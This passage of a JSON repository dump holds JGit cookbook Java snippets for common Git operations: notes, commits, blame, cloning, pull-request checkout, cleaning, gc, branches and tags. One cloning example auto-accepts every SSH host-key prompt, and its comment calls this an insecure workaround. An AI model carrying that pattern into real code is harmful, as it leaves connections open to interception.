    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.notes.Note;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\nimport java.util.List;\n\n\n\n/**\n * Simple snippet which shows how to load Notes in a Git repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class AddAndListNoteOfCommit {\n\n\tpublic static void main(String[] args) throws IOException, GitAPIException {\n\t\ttry (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n    \t\tRef head = repository.exactRef(\"refs/heads/master\");\n    \t\tSystem.out.println(\"Found head: \" + head);\n\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n                System.out.println(\"Found Commit: \" + commit);\n\n                try (Git git = new Git(repository)) {\n                    git.notesAdd().setMessage(\"some note message\").setObjectId(commit).call();\n                    System.out.println(\"Added Note to commit \" + commit);\n\n            \t\tList<Note> call = git.notesList().call();\n            \t\tSystem.out.println(\"Listing \" + call.size() + \" notes\");\n            \t\tfor(Note note : call) {\n            \t\t\t// check if we found the note for this commit\n            \t\t\tif(!note.getName().equals(head.getObjectId().getName())) {\n            \t\t\t\tSystem.out.println(\"Note \" + note + \" did not match commit \" + head);\n            \t\t\t\tcontinue;\n            \t\t\t}\n            \t\t\tSystem.out.println(\"Found note: \" + note + \" for commit \" + head);\n\n            \t\t\t// displaying the contents of the note is done via a simple blob-read\n            \t\t\tObjectLoader loader = repository.open(note.getData());\n            \t\t\tloader.copyTo(System.out);\n            \t\t}\n                }\n\n                walk.dispose();\n            }\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/AddFile.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to add a file to the index\n *\n * @author dominik.stadler at gmx.at\n */\npublic class AddFile {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        // prepare a new test-repository\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            localPath = repository.getWorkTree();\n\n            try (Git git = new Git(repository)) {\n                // create the file\n                File myFile = new File(repository.getDirectory().getParent(), \"testfile\");\n                if(!myFile.createNewFile()) {\n                    throw new IOException(\"Could not create file \" + myFile);\n                }\n\n                // run the add-call\n                git.add()\n                        .addFilepattern(\"testfile\")\n                        .call();\n\n                System.out.println(\"Added file \" + myFile + \" to repository at \" + repository.getDirectory());\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/BlameFile.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.blame.BlameResult;\nimport org.eclipse.jgit.diff.RawText;\nimport org.eclipse.jgit.diff.RawTextComparator;\nimport org.eclipse.jgit.lib.PersonIdent;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\n\n// Simple example that shows how to get the Blame-information for a file\npublic class BlameFile {\n    public static void main(String[] args) throws IOException, GitAPIException {\n\t\ttry (Repository repo = CookbookHelper.openJGitCookbookRepository()) {\n\t\t\tfinal String[] list = new File(\".\").list();\n\t\t\tif (list == null) {\n\t\t\t\tthrow new IllegalStateException(\"Did not find any files at \" + new File(\".\").getAbsolutePath());\n\t\t\t}\n\n\t\t\tfinal SimpleDateFormat DATE_FORMAT = new SimpleDateFormat(\"YYYY-MM-dd HH:mm\");\n\t\t\tfor (String file : list) {\n\t\t\t\tif (new File(file).isDirectory()) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tSystem.out.println(\"Blaming \" + file);\n\t\t\t\tfinal BlameResult result = new Git(repo).blame().setFilePath(file)\n\t\t\t\t\t\t.setTextComparator(RawTextComparator.WS_IGNORE_ALL).call();\n\t\t\t\tfinal RawText rawText = result.getResultContents();\n\t\t\t\tfor (int i = 0; i < rawText.size(); i++) {\n\t\t\t\t\tfinal PersonIdent sourceAuthor = result.getSourceAuthor(i);\n\t\t\t\t\tfinal RevCommit sourceCommit = result.getSourceCommit(i);\n\t\t\t\t\tSystem.out.println(sourceAuthor.getName() +\n\t\t\t\t\t\t\t(sourceCommit != null ? \" - \" + DATE_FORMAT.format(((long)sourceCommit.getCommitTime())*1000) +\n\t\t\t\t\t\t\t\t\t\" - \" + sourceCommit.getName() : \"\") +\n\t\t\t\t\t\t\t\": \" + rawText.getString(i));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CheckoutGitHubPullRequest.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ProgressMonitor;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.transport.FetchResult;\nimport org.eclipse.jgit.transport.RefSpec;\n\nimport java.io.File;\nimport java.io.IOException;\n\n\n/**\n * Simple snippet which shows how to clone a repository from GitHub and\n * then checkout a PR\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CheckoutGitHubPullRequest {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git result = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .setProgressMonitor(new SimpleProgressMonitor())\n                .call()) {\n\t        // Note: the call() returns an opened repository already which needs to be closed to avoid file handle leaks!\n\t        System.out.println(\"Having repository: \" + result.getRepository().getDirectory());\n\n            FetchResult fetchResult = result.fetch()\n                    .setRemote(REMOTE_URL)\n                    .setRefSpecs(\"+refs/pull/6/head:pr_6\")\n                    //.setRefSpecs(new RefSpec(\"+refs/heads/*:refs/heads/*\"))\n                    .call();\n\n            System.out.println(\"Result when fetching the PR: \" + fetchResult.getMessages());\n\n            Ref checkoutRef = result.checkout()\n                    .setName(\"pr_6\")\n                    .call();\n\n            System.out.println(\"Checked out PR, now printing log, it should include two commits from the PR on top\");\n\n            Iterable<RevCommit> logs = result.log()\n                    .call();\n            for (RevCommit rev : logs) {\n                System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n\n    private static class SimpleProgressMonitor implements ProgressMonitor {\n        @Override\n        public void start(int totalTasks) {\n            System.out.println(\"Starting work on \" + totalTasks + \" tasks\");\n        }\n\n        @Override\n        public void beginTask(String title, int totalWork) {\n            System.out.println(\"Start \" + title + \": \" + totalWork);\n        }\n\n        @Override\n        public void update(int completed) {\n            System.out.print(completed + \"-\");\n        }\n\n        @Override\n        public void endTask() {\n            System.out.println(\"Done\");\n        }\n\n        @Override\n        public boolean isCancelled() {\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CleanUntrackedFiles.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Set;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to list all Tags\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CleanUntrackedFiles {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            localPath = repository.getWorkTree();\n\n            System.out.println(\"Repository at \" + repository.getWorkTree());\n\n            File untrackedFile = File.createTempFile(\"untracked\", \".txt\", repository.getWorkTree());\n            File untrackedDir = File.createTempFile(\"untrackedDir\", \"\", repository.getWorkTree());\n            if(!untrackedDir.delete()) {\n                throw new IOException(\"Could not delete file \" + untrackedDir);\n            }\n            if(!untrackedDir.mkdirs()) {\n                throw new IOException(\"Could not create directory \" + untrackedDir);\n            }\n\n            System.out.println(\"Untracked exists: \" + untrackedFile.exists() + \" Dir: \" + untrackedDir.exists() + \"/\" + untrackedDir.isDirectory());\n\n            try (Git git = new Git(repository)) {\n                Set<String> removed = git.clean().setCleanDirectories(true).call();\n                for(String item : removed) {\n                \tSystem.out.println(\"Removed: \" + item);\n                }\n                System.out.println(\"Removed \" + removed.size() + \" items\");\n            }\n\n            System.out.println(\"Untracked after: \" + untrackedFile.exists() + \" Dir: \" + untrackedDir.exists() + \"/\" + untrackedDir.isDirectory());\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CloneRemoteRepository.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ProgressMonitor;\n\nimport java.io.File;\nimport java.io.IOException;\n\n\n/**\n * Simple snippet which shows how to clone a repository from a remote source\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CloneRemoteRepository {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git result = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .setProgressMonitor(new SimpleProgressMonitor())\n                .call()) {\n\t        // Note: the call() returns an opened repository already which needs to be closed to avoid file handle leaks!\n\t        System.out.println(\"Having repository: \" + result.getRepository().getDirectory());\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n\n    private static class SimpleProgressMonitor implements ProgressMonitor {\n        @Override\n        public void start(int totalTasks) {\n            System.out.println(\"Starting work on \" + totalTasks + \" tasks\");\n        }\n\n        @Override\n        public void beginTask(String title, int totalWork) {\n            System.out.println(\"Start \" + title + \": \" + totalWork);\n        }\n\n        @Override\n        public void update(int completed) {\n            System.out.print(completed + \"-\");\n        }\n\n        @Override\n        public void endTask() {\n            System.out.println(\"Done\");\n        }\n\n        @Override\n        public boolean isCancelled() {\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CloneRemoteRepositoryIntoMemoryAndReadFile.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.internal.storage.dfs.DfsRepositoryDescription;\nimport org.eclipse.jgit.internal.storage.dfs.InMemoryRepository;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.transport.RefSpec;\nimport org.eclipse.jgit.treewalk.TreeWalk;\nimport org.eclipse.jgit.treewalk.filter.PathFilter;\n\nimport java.io.IOException;\n\n/**\n * Copyright 2019 Vasyl Khrystiuk https://github.com/msangel\n * <p>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npublic class CloneRemoteRepositoryIntoMemoryAndReadFile {\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n    private static final String BRANCH = \"master\";\n    private static final String FILE_TO_READ = \"test/alias.c\";\n\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        DfsRepositoryDescription repoDesc = new DfsRepositoryDescription();\n        InMemoryRepository repo = new InMemoryRepository(repoDesc);\n        Git git = new Git(repo);\n        git.fetch()\n                .setRemote(REMOTE_URL)\n                .setRefSpecs(new RefSpec(\"+refs/heads/*:refs/heads/*\"))\n                .call();\n        repo.getObjectDatabase();\n        ObjectId lastCommitId = repo.resolve(\"refs/heads/\" + BRANCH);\n        RevWalk revWalk = new RevWalk(repo);\n        RevCommit commit = revWalk.parseCommit(lastCommitId);\n        RevTree tree = commit.getTree();\n        TreeWalk treeWalk = new TreeWalk(repo);\n        treeWalk.addTree(tree);\n        treeWalk.setRecursive(true);\n        treeWalk.setFilter(PathFilter.create(FILE_TO_READ));\n        if (!treeWalk.next()) {\n            return;\n        }\n        ObjectId objectId = treeWalk.getObjectId(0);\n        ObjectLoader loader = repo.open(objectId);\n        loader.copyTo(System.out);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CloneRemoteRepositoryWithAuthentication.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2015 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.errors.UnsupportedCredentialItem;\nimport org.eclipse.jgit.transport.CredentialItem;\nimport org.eclipse.jgit.transport.CredentialsProvider;\nimport org.eclipse.jgit.transport.URIish;\n\nimport java.io.File;\nimport java.io.IOException;\n\n\n\n/**\n * Simple snippet which shows how to clone a repository from a remote source\n * via ssh protocol and username/password authentication.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CloneRemoteRepositoryWithAuthentication {\n    private static final String REMOTE_URL = \"ssh://<user>:<pwd>@<host>:22/<path-to-remote-repo>/\";\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // this is necessary when the remote host does not have a valid certificate, ideally we would install the certificate in the JVM\n        // instead of this unsecure workaround!\n        CredentialsProvider allowHosts = new CredentialsProvider() {\n\n            @Override\n            public boolean supports(CredentialItem... items) {\n                for(CredentialItem item : items) {\n                    if((item instanceof CredentialItem.YesNoType)) {\n                        return true;\n                    }\n                }\n                return false;\n            }\n\n            @Override\n            public boolean get(URIish uri, CredentialItem... items) throws UnsupportedCredentialItem {\n                for(CredentialItem item : items) {\n                    if(item instanceof CredentialItem.YesNoType) {\n                        ((CredentialItem.YesNoType)item).setValue(true);\n                        return true;\n                    }\n                }\n                return false;\n            }\n\n            @Override\n            public boolean isInteractive() {\n                return false;\n            }\n        };\n\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git result = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .setCredentialsProvider(allowHosts)\n                .call()) {\n\t        // Note: the call() returns an opened repository already which needs to be closed to avoid file handle leaks!\n\t        System.out.println(\"Having repository: \" + result.getRepository().getDirectory());\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CollectGarbage.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ProgressMonitor;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to execute the \"gc\" command to remove unused\n * objects from the .git directory.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CollectGarbage {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                Properties ret = git.gc().\n                        setProgressMonitor(new PrintlnProgressMonitor()).call();\n                for(Map.Entry<Object, Object> entry : ret.entrySet()) {\n                    System.out.println(\"Ret: \" + entry.getKey() + \": \" + entry.getValue());\n                }\n            }\n        }\n    }\n\n    private static class PrintlnProgressMonitor implements ProgressMonitor {\n        @Override\n        public void start(int totalTasks) {\n            System.out.println(\"Starting work on \" + totalTasks + \" tasks\");\n        }\n\n        @Override\n        public void beginTask(String title, int totalWork) {\n            System.out.println(\"Start \" + title + \": \" + totalWork);\n        }\n\n        @Override\n        public void update(int completed) {\n            System.out.print(completed);\n        }\n\n        @Override\n        public void endTask() {\n            System.out.println(\"Done\");\n        }\n\n        @Override\n        public boolean isCancelled() {\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CommitAll.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to commit all files\n *\n * @author dominik.stadler@gmx.at\n */\npublic class CommitAll {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        // prepare a new test-repository\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            localPath = repository.getWorkTree();\n\n            try (Git git = new Git(repository)) {\n                // create the file\n                File myFile = new File(repository.getDirectory().getParent(), \"testfile\");\n                if(!myFile.createNewFile()) {\n                    throw new IOException(\"Could not create file \" + myFile);\n                }\n\n                // Stage all files in the repo including new files, excluding deleted files\n                git.add().addFilepattern(\".\").call();\n\n                // Stage all changed files, including deleted files, excluding new files\n                git.add().addFilepattern(\".\").setUpdate(true).call();\n\n                // and then commit the changes.\n                git.commit()\n                        .setMessage(\"Commit all changes including additions\")\n                        .call();\n\n                try(PrintWriter writer = new PrintWriter(myFile)) {\n                    writer.append(\"Hello, world!\");\n                }\n\n                // Stage all changed files, omitting new files, and commit with one command\n                git.commit()\n                        .setAll(true)\n                        .setMessage(\"Commit changes to all files\")\n                        .call();\n\n\n                System.out.println(\"Committed all changes to repository at \" + repository.getDirectory());\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CommitFile.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to commit a file\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CommitFile {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        // prepare a new test-repository\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            localPath = repository.getWorkTree();\n\n            try (Git git = new Git(repository)) {\n                // create the file\n                File myFile = new File(repository.getDirectory().getParent(), \"testfile\");\n                if(!myFile.createNewFile()) {\n                    throw new IOException(\"Could not create file \" + myFile);\n                }\n\n                // run the add\n                git.add()\n                        .addFilepattern(\"testfile\")\n                        .call();\n\n                // and then commit the changes\n                git.commit()\n                        .setMessage(\"Added testfile\")\n                        .call();\n\n                System.out.println(\"Committed file \" + myFile + \" to repository at \" + repository.getDirectory());\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CreateAndDeleteBranch.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to create and delete branches\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CreateAndDeleteBranch {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare test-repository\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                List<Ref> call = git.branchList().call();\n                for (Ref ref : call) {\n                    System.out.println(\"Branch-Before: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n                }\n\n                // make sure the branch is not there\n                List<Ref> refs = git.branchList().call();\n                for(Ref ref : refs) {\n                    System.out.println(\"Had branch: \" + ref.getName());\n                    if(ref.getName().equals(\"refs/heads/testbranch\")) {\n                        System.out.println(\"Removing branch before\");\n                        git.branchDelete()\n                        .setBranchNames(\"testbranch\")\n                        .setForce(true)\n                        .call();\n\n                        break;\n                    }\n                }\n\n                // run the add-call\n                git.branchCreate()\n                        .setName(\"testbranch\")\n                        .call();\n\n                call = git.branchList().call();\n                for (Ref ref : call) {\n                    System.out.println(\"Branch-Created: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n                }\n\n                // run the delete-call\n                git.branchDelete()\n                        .setBranchNames(\"testbranch\")\n                        .call();\n\n                call = git.branchList().call();\n                for (Ref ref : call) {\n                    System.out.println(\"Branch-After: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n                }\n\n                // run the add-call with a given starting point\n                git.branchCreate()\n                        .setName(\"testbranch\")\n                        .setStartPoint(\"d52a1031cd359a5941d0e047aa7ab82053f7f7c3\")\n                        .call();\n\n                call = git.branchList().call();\n                for (Ref ref : call) {\n                    System.out.println(\"Branch-Created with starting point: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CreateAndDeleteTag.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Constants;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to create a tag\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CreateAndDeleteTag {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare test-repository\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                // remove the tag before creating it\n                git.tagDelete().setTags(\"tag_for_testing\").call();\n\n\t\t\t\tSystem.out.println(\"HEAD: \" + git.getRepository().resolve(Constants.HEAD));\n\n\t\t\t\t// set it on the current HEAD\n                Ref tag = git.tag().setName(\"tag_for_testing\").call();\n                System.out.println(\"Created/moved tag \" + tag 